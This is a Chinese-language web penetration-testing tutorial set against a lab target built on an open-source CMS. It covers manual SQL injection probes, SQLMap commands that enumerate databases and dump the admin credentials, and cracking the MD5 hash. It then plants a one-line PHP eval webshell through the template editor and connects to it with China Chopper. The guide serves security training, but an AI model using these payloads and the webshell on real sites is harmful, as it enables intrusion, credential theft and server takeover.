網絡安全攻防:Web安全之滲透測試
本文基于某個開源的CMS搭建一個靶機,來演示Web滲透整個過程。
1. SQL注入檢測
在訪問網站時收集資料,了解網站的各項接口、功能,手動測試其每一個參數是否存在注入。其中發現一個帶參數ID的頁面,如圖1所示。
圖1 帶參數ID的頁面
通過手動注入判斷該參數是否為注入點,發現當輸入id=10’and‘1’=’0時返回錯誤頁面,如圖2所示。
圖2 返回錯誤頁面
而當參數id=10’and‘1’=’1時仍然顯示為正確頁面,由此懷疑ID參數后面的and語句內容被當作SQL語句一部分帶入執行,此處可能存在SQL注入。
2. SQL注入利用
純粹的手工注入將花費大量時間和精力,此處利用SQLMap工具對此疑似SQL注入點的參數進行判斷。
利用SQLMap語句:
–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”
判斷該URL是否存在注入,其中,*表示判斷該處參數,其結果如圖3所示。
圖3 判斷注入結果
可見參數 id 存在布爾注入、錯誤回顯注入、時間盲注等多種注入隱患。并且 SQLMap直接判斷出其后臺數據庫為MySQL 5.0,服務器為Apache2.4.3,腳本環境為PHP5.6.25。
利用SQLMap繼續查看數據庫內容,其中利用–dbs參數查看所有數據庫發現共有5個庫,如圖4所示。
圖4 查看數據庫
猜測yx_test為該CMS的數據庫,繼續深入查看其內容。利用–D 庫名–tables可查看指定庫的表名,如圖5所示。
圖5 查看指定庫的表名
共有20張表,需要得到管理員賬號密碼,因此,利用–T參數指定表dump其內容。
于是得到了該表的結構以及其中數據,并反解MD5,可以獲得一個登錄名為admin的賬號和密碼654321。
3. 后臺登錄getshell
進入后臺,如圖6所示。
圖6 進入后臺
繼續在后臺管理平臺上尋找可上傳Webshell的方法,以取得服務器Shell權限。
在進入到全局設置下前臺模板的管理模板文件功能后,發現有許多PHP文件,其中利用添加模板的功能可以直接在網頁上編寫PHP文件,并保存到服務器,如圖7所示。
圖7 編寫PHP文件
利用網頁編輯,寫入一個一句話木馬,其內容為<?php eval($_POST['test']);?>,寫入到一個名為muma.php的文件,如圖8所示。
圖8 寫入木馬
木馬寫入成功,只需知道網頁地址即可訪問鏈接。
最后利用中國菜刀工具連接該木馬,如圖9所示。
圖9 連接木馬
成功連接站點,可以遠程下載、上傳任意文件,也可運行Shell執行代碼。